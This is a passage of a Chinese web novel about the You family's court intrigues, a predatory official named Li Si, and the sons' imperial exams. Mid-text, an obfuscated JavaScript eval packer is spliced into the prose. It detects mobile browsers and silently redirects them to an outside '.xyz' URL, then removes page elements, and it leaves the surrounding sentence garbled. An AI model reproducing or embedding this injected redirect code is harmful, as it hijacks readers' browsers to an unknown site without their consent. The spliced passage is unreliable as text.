话没说完，眼泪砸在米酒碗里。 游乘静静听着，没打断她。 等她说完，他才平静道，“错了不可怕，要紧的是知道自己错了，用行动证明自己想纠正。之前的事，我已经猜到是怎么回事，你也别总记在心上。” 游宜望着温和的游乘，以为大哥还怪她，没想到大哥还反过来宽慰她。 她低头喝了一小口米酒，想起件事，忙从袖中摸出那封皱巴巴的信，递到游乘面前。 “大哥，这是父亲让我给李司的信，父亲说他答应接手私田案！可李司不是好人，他今天那样对我，案子肯定有问题。你能不能去劝父亲，千万不能掺和进去。” 这时，容芝刚好从外面进来，见游宜递出信，忙过来，把信接到手里，“宜丫头分析得很对，我和你大伯，正打算找你父亲谈一谈。” 安顿了游宜在偏院厢房歇息，容芝拿着信，和游怜山一起去了无人的书房。 烛台前，二人展开信纸。 二弟游怜泉的字不算工整，显然写得着急。这信里提了点私田案的细节，更多的是游怜泉自表决心的言辞。 “望李大人多提携”…… “明日向都察院递呈文”…… 越往下读，越看不下去。 容芝看出来二弟要被李司坑，他以为捡了晋升的机会，其实踩进了李家的圈套。 游怜山点了点“私田案”三字。 他听容芝说过，三年前，容芝帮三殿下王妃弟弟卖的庄子，都是王妃自己的私产，只是挂在弟弟许逢名下。其中的每一块地，容芝是经过了严格审查的，里面不可能存在李司提到的什么皇族御赐。 坐收渔利，真小人。 但李司这种朝堂新人，怕也想不出这么毒辣的计策，背后，大概又是李经章的主意。 夫妻俩对视一眼，从彼此眼里看到愤懑。 容芝把信重新叠好，“不能等了，现在就去南园找二弟，让他赶紧停手，别想着递呈文。” 游怜山拿了件厚外衣，给容芝，“也要看看弟妹的病，唉，这一家子……” 两人往南园去。 雪又大了，细碎地落在肩上，积了一层。 二弟妹周氏的脸色好了些，依旧虚弱，见容芝和游怜山，勉强撑坐，“大哥大嫂怎么来了？” 容芝上前按住她，“大夫怎么说？热退了吗？” “就是浑身没力气。” 周氏叹了气，瞧见了容芝手里的信封。 游怜山笑了笑，“不是大事。我和你大嫂找二弟聊一聊，家常而已，你休息着。” 书房内，游怜泉还坐在案前。 他翻着私田案的卷宗，手边就是他明天要递给都御史刘钦的呈文草稿。 容芝敲门，她没让伤了腿的游怜泉起身，更没绕圈子，直接把信拿出，摆在桌上。 “二弟，宜丫头手里的信，没给出去。具体因为什么，你肯定是知道的。再就是，想提醒你，京郊私田案是假的。李司不是真心要让给你，是给你下了套。” 游怜泉看看自己写的信，若有所思，“李司骗了我？不可能，他跟我说案子棘手，满朝文武只有我能查。还说，都御史刘钦也看上了这案子。李司他，怎么会骗我？” “刘钦看上这案子？” 容芝彻底听笑了，“二弟，你不信的话，明日就去告诉李司，说你管不了这案子，你看他是什么反应。他真为你好，会体谅你；要是假的，立刻就会露馅。” 游怜泉却反驳，“是这样吗？” 容芝见他怀疑，干脆道，“你觉得我脑子有泡？敢帮着买卖御赐的田产？行啊，我洗干净脖子等着，看你们都察院哪天来取我脑袋。” 游怜泉惊得坐直身子，卷宗也掉在桌上，“大嫂，你、你不怕死？” “我没掺和，有什么好怕？” 容芝面色不动，只是声音沉下来，“你有没有想过，三殿下与李经章是一条船上的。那个李司明显是李经章的人，他去查三殿下的案？这不明摆着有问题？” “不可能！” 游怜泉猛地睁大眼睛，“三殿下和李家一条心，李司查三殿下，不是找死？李司再傻，也不会做这种事。” “所以李司是设套等你上钩！” 容芝加重了语气，“二弟在官场二十年，连这点防备都没有。” 游怜泉捏着信封，被问得哑口无言。 容芝看他神色松动，口气又软了些，“三殿下和李家的勾连，具体缘由我该早告诉你，只是牵扯过世的三弟，死者为大，我不好讲。” 一旁的游怜山这时才拍拍二弟的肩，“事情，你大嫂已经说清楚了。三弟当年的事……都不想提。可你得记住，咱们都姓游，是一家人，那李家与咱家有仇，三弟的死，和李经章脱不了干系。任何时候，李家都不会真心帮你。” 游怜泉闭起眼睛，立刻想起三弟游怜钊。 当年三弟离京，在办案途中，被山匪逼得掉崖，死得不明不白。 事后再回忆，三弟多半是被仇家解决的。 细细想来，京城里游家最大仇家，只有李家。 游怜泉想通了，理顺了。 他抓起桌上的呈文草稿，揉成一团，扔在地上，“这狗屁案子，我不管了！省得把自己搭进去，还连累侯府家人。” 见此，容芝和游怜山都松了口气。 容芝捡起那纸团，扔进炭盆，一了百了，“二弟，官场上急不得，咱们一家人平平安安，最重要了。” 京中的会试，仍在继续。 到了三月十一晚上，第二场会试的开考前夜。 东园亮了灯笼，游乘和游余准备出发。 却听阿桔姑姑说，秦家的秦徐来了。 时辰还来得及，兄弟俩在侯府门房等了片刻，秦徐下了马车。 她捧着笔墨匣子，里面装了一套书局新进的应考文具。毛笔、砚台这些，都是她特意托人从江南带的好东西。 游乘不好回绝，只说考场用惯了旧的，新的留着在家，以后小心地用。 大妹游宜抱着手炉，跟在几人身后，“大哥二哥，先上马车，风大。” 游乘站在车架上，将秦徐抱上来，“你们到街口就回来，贡院人多，别挤着。” 秦徐点头，又叮嘱他，“贡院夜里寒，护膝这些能用就拿出来用上，冷了就喝些热水。” 游余在旁看着，笑着打断她，“嫂子，我们又不是第一次考，放心吧。” 车动起来，只到街口。 游乘和游余提上考篮，往贡院方向走。 秦徐挽着游宜，站在原地。 她们目送他二人的背影，直到看不见才转头。 马车往回走，路过街市的糕点铺。 铺子还没关门，闻到里面奶酥的甜香。 游宜悄悄问秦徐，“九姐姐，你等等我，带些回去给大伯母和阿桔姑姑。” 秦徐说，“你多挑几盒，分我一些。” 糕点铺伙计见了来客，迎上来招呼，“这不是游大姑娘？要些什么？” 游宜回笑。 她常年住在京郊，来这种铺子的机会少，一时有点局促，慢慢地沿着柜台，一样样看。 点心各式各样，她挑了两盒最畅销的奶酥，又拿了一盒母亲爱吃的枣泥糕，去柜台付钱。 谁知，李司站在那边，嘴角勾笑，朝她走来。 “买了什么啊？”李司来拿她手里的东西。 游宜后退，“……你走开。” 此时，秦徐冲进来，把游宜护在身后。 匆匆掏银子递给伙计，二人绕过李司往外走。 李司眯起眼睛，想追上拦人，手顿在半空却收了回去。 秦徐走出了店门，回头看一眼李司。 见他还站在原地，便感到庆幸。上次，游乘找过李司，应该给了很严重的警告，才让李司有所忌惮，再不敢找她麻烦。 自己因为游乘，是安全的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246720|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但身边的游宜，恐怕已经被李司盯上，还会被李司继续纠缠。 事实上，李司此刻也在盘算此事。 他不敢动秦徐，却对游宜的烈性子更有兴趣。 李司站在铺门口，看她们的马车离去，阴笑道，“跑得了和尚，跑不了庙。” 次日，早朝散了。 宫门石阶下，官员各自离开。 游怜泉拄着拐，走得不快，右腿的伤没好。 到了宫道旁，李司从身后迎上，“怜泉兄，那桩案子，考虑得怎样？要不要接手？” 游怜泉记着大哥大嫂的嘱托，恳切道，“案子牵扯太深，涉及皇室，我不能为了前程，连累侯府亲人，所以，你另请高明吧。” 一听这话，李司脸色一沉，抬手就指着游怜泉的鼻子，“你真是不开窍！死脑筋！入仕快二十年，还在正五品的位子，不上不下，我看，你们游家那么多人，没一个机灵的！” 其他官吏早走了。 此刻的宫道旁，只有零星的侍卫。 而李司的话，正好戳中游怜泉的痛。 没错，他为官快二十年，不上不下就是尴尬。 可这事轮不上李司一个外人骂。 游怜泉抓紧拐杖，往前一步，“李司，你再对我、对游家出言不逊，别怪我上本弹劾你！” “弹劾我？” 李司满脸不屑，“你弹劾我什么？为官清廉？做事勤勉？” “屁话！你明明仗势欺人，羞辱女眷！” 游怜泉声音高了几分，引得侍卫都看过来，也全然不在意。 “我女儿前日去你府中送信，你对她动手动脚，以为能瞒住？你要是够胆，现在就跟我去见都御史刘大人，好好对质一番！” 李司不仅没慌，反倒眼睛一亮。 他搓着手冷笑，“说真的，你家游宜确实周正，虽然手脚粗了点，干多了农活身子结实，好生养嘛。不如这样，你把她送给我做妾，给李家续香火，我就不追究你不领情，还能在刘钦大人面前，帮你美言几句，怎样？” “做梦！” 游怜泉气得浑身发抖，往地上啐了一口，拐杖顿得石板连声响，“卑劣小人，也配提我女儿？我真怀疑，你三年前怎么混得状元！学识再好，也是斯文败类！” 李司被啐了一口，没半点恼意。 他反而凑近，笑道，“我这状元怎么来的，轮得到你管？游怜泉，劝你识抬举。把游宜送来，咱们还是朋友，往后在官场，我多提携你几分。你要是不答应，往后有你好受的，咱们走着瞧！” 说完，李司甩甩袖子，转身走了。 旁边的侍卫见状，纷纷低头回避，没人敢上前说什么。 京城里，谁不知李司是内阁首辅李经章的人？ 游怜泉哪里是李司的对手。 原地缓了好一会，游怜泉拄着拐，慢慢前走。 他在都察院衙门挨了一天，后晌，回到侯府，连南园都没回，径直去了长房的东园。 院子里，女儿游宜在整理枯草枯枝。 许是怕上次他南园的断枝惨剧再次发生。 大嫂容芝的手里拿着剪刀，修剪高处的枯枝。 “快扶着我伯母！”游宜抬头，跑到容芝身边。 也在这时，这孩子发现了父亲游怜泉，拄着拐走进来。 她见游怜泉脸色不好，关心道，“您又碰上什么事？” 游怜泉看着女儿，十六岁的她，不脱稚气，再一想起李司的威胁，心里涌上许多愧疚。 “无事。” 游怜泉放柔语气，拉着游宜，到石桌旁坐下。 宫道上的争执，李司要纳游宜做妾……这些，他一个字都不能说。 “丫头别怕。” 游怜泉想了半晌，口吻郑重，“有爹在，绝不让李司动你一根手指头。” 游宜反应过来，垂着眼，绞着裙带，“爹，李司背后有李经章，还有三殿下。恐怕女儿的委屈，只能忍气吞了……” 游怜泉摇摇头，目看向不远处的大哥大嫂，给自己打气，也给女儿一个保证，“我当着你大伯一家的面，发誓，就算拼了我这条命，就算得罪李经章和三殿下，也能护住你！他们谁也别想伤害我女儿！” 闻言，容芝和游怜山走上来。 容芝拍拍游宜的手背，“大丫头，咱们是一家人，都不会让你受委屈。李司背后的李经章再硬，也不能颠倒了黑白。” 游怜山也很坚定，“咱们游家，虽不爱闹事，但也不能任人拿捏。” 游宜看着父亲和大伯夫妻，用力点了头。 天色渐暗，游怜泉独自回了南园。 周氏的热症慢慢好转了，精神也足了些。见他回家，勉强笑道，“今天怎么这么晚？” 游怜泉坐在她身边，揉着眉心，“今天跟李司吵了一架，回来，又去东园跟大哥大嫂说了话，所以晚了。” 周氏让丫鬟端过一杯温茶给他，“跟李司吵架？因为私田案？” 游怜泉喝了一口茶，嗓子润泽了点，“他还妄想纳宜丫头做妾，我当然要跟他吵。” 周氏的脸色瞬间大变，“太过分了！我女儿才十六，怎么能……” 游怜泉放下茶杯，叹气，“谁说不是？不过，我已经跟大哥大嫂坦白交代，咱们一家，都要护着宜丫头。丫头也大了，早点找个人家定亲，这事得盘算着。” 周氏眼里亮了亮，“如何？那我能不能找大嫂商量？大嫂见得多，眼光也好，肯定能帮咱家的丫头定个好亲事。” 游怜泉脱了外衣，语带疲惫，“多跟大嫂商量，我公务忙，顾不上。不光是宜丫头的婚事，以后家里重要的事，你都找大嫂商量。有她帮衬，我才放心。” 周氏笑起来，眼睛里有了生气，“那你现在跟我一样，真心信大哥和大嫂了？” 游怜泉没多想，认真地点头，“以前是我糊涂，觉得大哥大嫂对二房有意见，所以事事防着他们。现在我才明白，他们把咱当家人，是家人就该信任。” 周氏抿着唇角，“咱家一条心，会越来越好。” 第二天，收拾好了行李的游宜，打算回京郊的田庄。 她前几天从田庄回来，也该回去看看，顺便把自己的东西归置一下，如果能搬回侯府住，就不用来回跑了。 早膳时她找大伯母容芝，说了自己的想法。 容芝听了，温声道：“回田庄也好，不过，你要走得跟你祖母说一声。你是侯府大姑娘，要让老人家放心。” 两人说着去了正院。 婆母邓氏坐在屋内念佛，见了她们，放下佛珠，笑着招呼坐在她身边。 游宜是孙女，事情就由容芝来说给邓氏听。 邓氏得知游宜想回田庄，当即点了头，“当初让你和周氏搬去田庄，是因为二房和长房闹别扭，怕住在一起生了矛盾。如今，你大伯母愿意给你机会，那你搬回侯府住，一家人在一起，能有个照应的。要不，你这就回庄子搬行李，反正东园多的是空房，对不？” 容芝笑道，“母亲都开口了，让她搬回来吧。” 游宜连忙起身道谢，“谢谢祖母和大伯母。” 邓氏喊来贞嬷嬷，分了两匹宫里送的丝绸，让她俩做新衣用。 出了正院，阳光照在丝绸上，闪闪发亮。 容芝瞧着游宜脸上的笑容，问，“你今年十六了，有没有合眼的世家子弟？要是有，跟我说，我找人说媒去！” 游宜脸颊一红，低头，轻摇，“还没有呢。我想好好照顾母亲，帮家里多做些事。” “没关系，没有就慢慢挑。” 容芝牵着她，“侯府的姑娘议亲，可不能耽误了！嫁人是一辈子的，要选真心待你的。” 游宜听着，眼泪又要下来。 这次回到侯府，她被大伯和大伯母照顾着，他们帮她解决了李司，还关心她的婚事，让她感受到了在父母身边从未有过的温暖。 三月十三，入夜。 会试第二场结束了。 从贡院里走出的举子们，或面愁，或露笑。 游乘先出场，在门前等到了弟弟游余。 二人并肩回府，走过街口，被身后来的几个穿长衫的举子叫住。 其中一个少年人，笑得脸红，拱手道，“介舟，彦维！又见面了。” 光线太暗，看不清面容。 游乘退到更暗的地方，定睛细看，终于认出面前的来人，正是在江陵府结识的朋友，“姜兄？没想在这儿和你碰面，真是巧了。” 名叫姜归的少年人，点点头，一把揽住旁边发笑的游余，故意皱眉，“你小子笑什么呢？” 游余一摆手，“我不敢，不敢，见过江陵府乡试解元，姜归大人！” 姜归也笑了，“前两年在江陵，蒙二位相待，帮我家重建房屋，我哥一直想报答你们，这次能在京城遇见，太好了。” 说着，他把江陵的其他朋友做了介绍。 大家互相行礼，交换姓名，没一会就变热络。 游乘领着众人去街市的酒楼，要了几壶最贵的好茶，款待远来的朋友。 但游余早饿了，又点了不少肉和饼，大家边说边吃，甚至称兄道弟，气氛更亲近。 席间，游乘下楼加菜。 上楼时碰见几个脸熟的人，却见那些人擦身而过的时候，似乎指着他，在小声议论什么。 会试正在进行。 之前第一场放了榜，第一名是游乘，第二名是弟弟游余。 算是又给侯府挣了点脸面吧。 游乘想着，推开雅间的门，在姜归身边坐下。 “介舟？” 姜归拉住他的袖子，突然看着他，“我有件事要跟你说……昨天在茶馆，我听几个人说，你家二伯被人弹劾了，此事是真的吗？” 顿时，游乘脸上的笑收了起来，“弹劾什么？家中二伯，为人正直又本分，没做过出格的，怎会被弹劾？” 说话间，一屋子的人都安静下来。 挑起话头的姜归犹豫了下，才说了出来。 原来，京中有了传言。 说，游家二伯流连歌馆伎院。 说，游乘是二伯在外面生的私生子，但连生母是谁都不知道。 还说，二伯母周氏虐待游乘，实在没了办法，才把游乘过继给大伯家，成了长房的儿子。 游乘陷入长长的沉默。 一旁的游余皱起了眉，一掌拍在桌上，“这是谁在造谣？简直胡说八道！我二伯那般老实，怎么可能流连歌馆？还有我大哥，几时被二伯母虐待了？” 事情发展至此。 姜归似有点后悔，对游乘一拱手，低声道，“我知这是造谣，可京城到处都在传这些事。昨天那茶馆里，好多人在骂你家二伯，德行败坏、不配为官，还非常可怜你的身世……” 游乘深吸一口气，压下所有情绪翻涌，“多谢你，告诉我此事。” 时辰不早，姜归向他们兄弟叮嘱了几句，约定第三场考试时再见。 回府的路上，游乘和游余都不说话。 街边灯笼亮了，惨黄的，叫人更高兴不起来。 “哥，是谁在造谣？” 游余实在忍不住，“我猜是李司！他陷害二伯不成，怀恨在心，才散布谣言毁二伯名声。” 游乘无法确认，“也可能是李经章。我只怕，散布谣言是第一步，接下来还有更过分的。” 两人加快脚步，身影被灯笼光拉长。 回到东园，容芝和游怜山正在等他们，先问了考得如何，顺不顺利。 这个问题是不用担心的。 游乘答完，将更要紧的、二伯被弹劾的流言，告诉爹娘。 对此，游怜山给予肯定。 最近家中二弟游怜泉的日子确实不好过。 私田案是一。 游宜是二。 可现在还不是追究的时候，要想办法澄清。 一旦谣言传下去，不仅二弟游怜泉毁了，整个侯府都会受影响。 游乘和游余，以后在官场也会很难立足。 此事要从两手来准备。 上面，打探内阁和皇帝的反应。 下面，尽快找人写本，反向弹劾李司，拖住李司的精力，不让流言更盛。 容芝叮嘱两个孩子，“家事交给你爹，你们会试不能分心。” 会试第三场，在三月十五。 十四日晚上，游乘和游余离家，前往贡院。 为躲开不好的流言，二人在马车里，避不见人，等到搜身入场的时候，才出马车。 好在，现场有禁军巡视，没人敢窃窃私语。 兄弟俩来到号房，接受会试最后一轮检验。 然而，此刻的侯府发生了一件天大的事。 二房伯母周氏不堪重压，在自家院子里…… 55. 会试阅卷，二伯夺情 三月十六晚，第三场会试结束。 贡院外，夜幕低垂，人群熙攘。 门前的灯笼，给离场的举子们照亮散去的路。可这些人还不能离京，将在京城继续等待一个月，以候顺天府前的会试张榜公告。 早早出了场的游乘站在门边，不时有认识他的人上前搭话，他一一回礼，隔不多时，总算在人群中见到弟弟游余。 弟弟揉着手腕，伸个懒腰，笑道，“终于结束了！三场下来，我用尽全力，剩下的便是看天命了。” 游乘失笑，刚要开口问他最后一道是如何解的，突听一旁的巷子前传来熟悉的呼喊。 “介舟兄！彦维兄！” 两人循声望去，那边站着个长衫的青年，眉眼带着书卷气，正是上一场考完相认的江陵乡试解元，姜归。 游乘快步上前，拱礼道，“姜兄，真巧，你可是在等我们？” “是。” 姜归笑着点头，看向他二人略显疲惫的面色，提议道，“上次得你们请客，喝茶又吃肉，不如，今天换我做东？前面街角有家小食肆，菜做得地道，咱们去喝两杯，也算松松劲。你们别客气啊，我虽不富裕，一顿饭钱还付得起，就当谢过二位上次的爽快，也为上次我的失言。” 游乘忙说，“那件事，姜兄不必介怀。” 游余却听说有好吃的，立刻来了精神，拉着游乘的胳膊，“哥，去吧去吧！我也知道那家的酱肘子，早想去尝一尝，不过每次经过都很匆忙，一直没机会。” 游乘本想推辞，见游余有意，姜归态度也十分恳切，便应了，“多谢姜兄。” 三人在食肆二楼靠窗位置坐下，小二麻利地端上三碗热茶。 姜归捧着茶碗，指尖轻轻抚碗沿，像是想起什么，抬头看向游乘，“说起来，我还有件事想请教二位。” 游乘微怔，“何事？” 游余亦是安静下来，等着姜归开口。 上次他俩便是从姜归口中，得知了家中二伯被弹劾，只怕今日姜归又要给他俩带来惊讶。 那姜归顿了顿，语带几分试探，“我来京城时日不短，听闻，千家胡同一带有不少便宜的住处，不知是真是假？” 游乘端茶的手停住，随即想起了三年前的旧事。 那年江陵河堤遭遇人祸，发了大水，姜归的家被洪水冲毁，他和族人在野外流离了大半年。 那阵子，游乘兄弟俩随秦家七郎秦均四处赈灾、救援，帮着姜家搭过茅草屋。再后来，也出资，帮助姜家和其他灾民，在安全的上游重新建房。 这个姜归是知恩图报的，白天修建自家，晚上帮忙筑河堤，帮秦均出谋划策，回了家还要温书，准备今年的会试。 此人身上的坚韧和开朗，至今记在游乘的心里。但姜归今日提起千家胡同，似乎很有深意。 游乘放下茶碗，认真道，“差点忘了，姜兄若在会试高中，之后便要在京城长住了。” “正是。” 姜归叹了口气，声音低了些，“我去岁来京城太晚，好不容易找到的客栈，一天要收一百文房钱。这三个月，家里带来的银子早就花得差不多了。若是此番，我考个功名，总不能一直住客栈，最好寻个安稳住处，不将就了。” 游余在旁插嘴，“这事简单！咱们等会儿正好要去千家胡同寻秦徐姐姐，顺路带你去牙行问问，保准能找到合适的！” 几人都在贡院受苦多日，眨眼间，桌上的酱肘子、清蒸鱼都见了底，姜归抢着结了账，三人雇了辆马车，往千家胡同去。 街市两旁亮着灯笼，姜归趴在窗前，忍不住感慨，“京城就是热闹，比江陵繁华多了。” “开销也不比江陵低廉。” 游乘笑了笑，“你寻住处时，我帮你把把关，定能找个既便宜又宜居的。” 说话间，马车已停在“谷之房牙行”门口。 牙行的掌柜命生，是兄弟俩的老熟人。 中年人穿藏青的绸衫，腰间没有佩玉，是佩着一把宝剑，见了人，总是笑眯眯的。 游乘与他交道颇深，他的真实身份是詹事府少詹事，升铭大人，在此处开办牙行，不过是为了方便联络需要联络的人。 “游大公子！” 命生迎上前，目光在姜归身上转了一圈，笑着问，“这位是？” “江陵来的朋友，名叫姜归，他也是江陵乡试解元，此番留京等会试张榜，想寻个合适的住处。” 游乘介绍完，又想了想补充道，“这位朋友的预算有限，想要间带小院的屋子，掌柜手里有没有房源？” 命生低头思忖，似乎有所为难。 也对，这间牙行之前操办的，都是官眷的生意来往，带有严重的朝政目的，或许根本没接触过普通百姓的普通牙行需求。 游乘心中分析，便听见命生开了口，“公子先前不是从这儿挑了间三进院子吗？就在内城一片，紧挨着秦家，地段好，院子也宽敞，里头还有棵老槐树，夏天凉快。你之前不想要，如果姜公子不嫌弃，倒是可以考虑，先让给姜公子。” 那院子，是游乘母亲为他和秦徐准备的小家。 不过游乘也不介意，先让给更有需要的姜归，他和秦徐尚未成婚，有的是时间重新挑选。 “不行啊。” 姜归一听“三进院子”，连忙摆手，“太大了，我一人住太浪费，而且，我也买不起。” 从前在江陵时，游乘帮姜家重建的院子，一共三间屋子，除了正堂、哥哥嫂嫂的房间，属于姜归的那一小间只能摆下书桌、床，非常紧凑。 他这样习惯住小院子的人，看眼下这一处，自然就会感到过于奢华。 游余也深谙其中道理，“命生先生，他是临时住，等日后授官再换大的也不迟，没必要现在铺张。” 命生明白，翻起桌上厚厚的房源册，眉头渐渐皱起，“一进的宅子，五十两以内，倒有几间。” 可这些宅子的批注都写明了。 要么在外城，来回路程远，要么屋子漏雨，塌过房梁，怕也不合姜归的意。 半晌，命生抬头看向姜归，“不如姜公子留下个住址，我这有合适的，立刻派人通知你？” 这话让姜归的脸瞬间红了。 他垂着头，手指捏紧，声音压低，“实不相瞒……我之前住的客栈，因为交不起房钱，掌柜的前日就把我的行李扔出来，今晚，我还没地方去呢。” “什么？” 游余猛地起身，“你怎么不早说！京城有宵禁，夜深过后就不能在街上走了，你今晚睡在街上，保准被五城兵马司的人抓去关大牢！” 姜归的头垂得更低了，耳尖泛红，无奈道，“我也不想麻烦别人……实在囊中羞涩，连最便宜的柴房都租不起，没别的办法。” 游乘拉住他的胳膊，“你别为难，今晚随我们回侯府暂住，家中有空房间，你住下正好。” 姜归还想推辞，游余拍着胸脯保证，“放心！我祖父祖母、爹娘叔婶都是极好相处的人。我娘心善，见你这样肯定帮忙，绝不嫌弃你！” 命生也在旁劝，“姜公子就别推辞了，游府家风宽厚，不会在意这些小事。你先住下，等找到合适的住所，再搬也好。” 众人盛情难却，姜归终于点头，双手作揖，“多谢各位，日后我定当报答。” 离开牙行时，天色已深。 街边的摊贩正收拾摊位，准备回家。 三人拐过街角，看到“不足斋”书局门口，一个淡粉衣裙的女子踮着脚，把一摞书搬进店里。 那便是秦徐。 她发间别着珍珠簪，额发微微飘动。 见游乘等人走来，她眼睛瞬间亮了，迎上来的语气，很有几分雀跃，“介舟！你们考完了？” “你生意太忙，忙忘了？一考完，便来寻你。” 游乘上前，自然地拿下她手中的钥匙，又指了指姜归，“这位，江陵乡试解元，这几日刚与我们重逢相认。” 秦徐笑着颔首，福了一礼，“姜公子好，我是秦徐。” 姜归刚要回礼，秦徐却忽然歪着头打量他，若有所思道，“我怎么觉得你，有点眼熟？好像在哪里见过。” 游乘也反应过来，“对，我们之前去江陵，姜兄家就受了水患之苦，你当时还给他家送过一袋米，不小心摔了跤，米撒了半袋。” “哦！原来。” 秦徐恍然大悟，忍不住笑了，“那会儿你还帮我七哥哥修过堤坝，我记得，你搬石头时，也摔了一跤，却死活不肯歇着。” 姜归有些不好意思，挠了挠头，“都是陈年小事，比起你们送粮送药，我做的不算什么。” 四人上了秦家的马车。 车厢是宽敞的，游乘与秦徐坐在一侧，游余和姜归坐在另一侧。 姜归看着游乘帮秦徐拂裙摆的纸灰，又听他轻声问“累不累，要不要靠会儿”，隐隐察觉出什么。 他悄悄拉过游余的衣袖，压低声音道，“彦维，你哥和秦姑娘什么关系？看着好亲密。” 游余凑到他耳边，笑得一脸促狭，“这你都看不出来？秦姐姐是我未来嫂子，他俩早就小定！我娘说，我哥金榜题名就张罗成婚。” “原来是青梅竹马。” 姜归眼中满是羡慕，“真是郎才女貌，太般配了。那你们两家是世交？” “哪能啊。” 游余摆了摆手，声音压得更低，还警惕地看了眼对面的游乘，“说出来你可能不信，五六年前，我哥还跟秦伯母闹得势同水火呢。” 姜归好奇地睁大眼睛，“怎么呢？难道秦伯母不同意他们在一起？” 游余摇摇头，说得绘声绘色。 他说，那会儿秦姐姐才十三岁，秦伯母想让她跟都察院御史刘家的小公子定亲。结果，他哥得知刘小公子和秦姐姐都无此意，硬是把这门亲事搅黄了。那时，秦伯母气得差点没追上门打他一顿。还说，再也不许他踏足秦府半步。 姜归听得入了迷，刚想追问“你哥搅黄亲事为了秦徐，还是为了刘小公子”，就见游乘转头看来。 游乘问，“你俩嘀咕什么，笑得这么开心？” 游余立刻收起八卦的神色，一本正经，“没什么！姜归兄说羡慕你和秦姐姐的感情，还夸你们天造地设，说要是他以后能有这样的姻缘就好了。” 姜归忙点头，脸颊有些发烫。 他没想到自己会被抓包，幸好游余反应快，没把“搅黄亲事”的事再提一遍。 车厢里静了片刻，秦徐的目光落在了姜归脸上。她柔声问，“姜公子，你在江陵时，可有定亲？” 姜归的脸更红了，他摸摸后脑勺，腼腆地笑，“我家本就不宽裕，水患后更是一贫如洗，连温饱都快顾不上，哪有姑娘瞧得上我？” “这话不对。” 秦徐立刻反驳，认真十分，“你是江陵乡试解元，才学出众，模样周正，性子又踏实，肯定有不少人家想给你说亲。多半是你一心备考，没考虑这些，或是没瞧上合适的。” 姜归被说得有些不好意思，摆手岔开话题，“嗨，不提这个！我现在孑然一身，倒也自在，等日后有了功名，能让我哥我嫂过上好日子，再考虑亲事吧。” 秦徐见他不愿多提，眼底掠过一丝遗憾，却也知趣地没再追问。 侧窗外的夜幕更深，天色彻底沉了下去。 马车行至秦府门前时，几人依次出来。 秦府大门不算极致奢华，透着几分雅，门口挂着的灯笼，照亮了厚实的石阶。 姜归有自知之明，提出留在门房等候，“你们进去，我在这等就行，别打扰秦家父母。” 游乘本想请他一起进去坐坐，引见给工部尚书秦舒，见姜归态度坚决，便不好勉强，“那你稍等，我们很快出来。” 游乘与游余陪着秦徐往里走，穿过翠绿的小院，到了正堂。进门，见秦徐的父亲秦舒与秦夫人已在厅中等候。 秦舒穿藏蓝官袍，面容严肃，放下茶盏，从椅子上起身。 秦夫人的衣裙绣着海棠，也起身迎上前。 “徐徐，可算回来。” 秦夫人拉着秦徐的手，上下打量女儿，“累不累？快坐下。” 又转头看游乘与游余，笑道，“乘儿、余儿也坐，一路来冷不冷？” “劳伯母挂心，不冷的。”游乘与游余应道，在椅上坐下。 秦夫人吩咐了丫鬟上茶，像是想起什么，转身，从里屋拿出几盒人参，递到游乘手中，“听闻你二伯母周氏近来病得重，身子不大爽利，这点东西你带回去，也算是我的一点心意。让她好好补补，别累着。” 人参盒子是檀木做的，刻着精致的花纹，定是不菲。 游乘接过，躬身道谢，“伯母费心，我一定把您的心意带到。” 旁边的秦舒一直没说话。 他只是坐在椅子上，眉头微蹙，手指敲着桌面，不知在盘算什么。 秦夫人一推他的胳膊，低声嗔道，“孩子们都来了，你倒好，一句话不说？倒问问他们今日考得如何啊。” 秦舒这才抬眼看向游乘，先轻轻叹了口气，才缓缓地问，“今日三场结束，你们……怎样？题目应该难不住吧。” 这话让游余忍不住笑出声。 他身子往前凑，有几分得意，“伯父这是担心我们考砸？您放心，我哥的才学，连袁公都赞不绝口，此番必能高中，说不定还能再夺魁首。至于我，就算比不过我哥，也绝不可能落榜！” 秦夫人跟着笑起来，只是，她那笑意里带着几分不易察觉的尴尬，“这孩子，嘴快，一点都不谦虚的。” 但秦舒的脸上却露出了笑，仍带着顾虑，“我不怀疑你们的才学，只是……” 话说到一半又顿住了，眼神半沉，端起茶抿一口，没再往下说。 游余瞧着秦舒这副吞吞吐吐，心里嘀咕。 伯父有难言之隐，难道是担心朝堂的事？ 一旁的游乘却已看透了秦舒的心思。 他平静地接过话，“伯父是在担心，我二伯那边的流言，对我们兄弟有不利影响？” 秦舒点头，“正值京察，朝野上下对官吏言行格外敏感。可没想到，有人针对你二伯，弹劾奏本竟越来越多。内阁每天都要收好几份。不过也别太忧心，有我和袁至诚大人在，多数弹劾都能压下去，驳回去。” 游乘听出他话里的隐忧，神色微动，“此事动荡，单靠您二位压着，终究不能长久。您现在发愁的，是这个吧？” 秦夫人见状，忙来打断了两人的紧张，“哎呀，这些朝堂上的事，你们慢慢商量就是。天也不早了，让孩子们先回游家，别让家里人等着心慌。他们母亲肯定等着呢。” 秦舒点点头，起身，“我送你们出门。” 几人走出正堂。 刚到院里，走在后面的秦徐追了几步。 秦徐拉住游乘的手，眼眸轻闪，问道，“游家的事，我大多不清楚，只问你一句，当年你被过继到长房，真是因为常被周氏打骂？” 游乘的身子僵了下，心里有些发凉。 有关三岁前的记忆，是模糊的。 可周氏抓着他的胳膊往墙上撞、用鸡毛掸子抽打他的画面，却像刻在脑海里，清晰得无法磨灭。 幼年的他，常躲在二房柴房角落，抱着膝盖哭到睡着，甚至一度以为，自己会被周氏打死。 那些事，无论何时再提，对游乘而言，只是无形的鞭挞，让他感到无尽的折磨。 可秦家是值得他信任的自己人。 如今，秦舒身在内阁，更是能帮到生父游怜泉的关键角色。 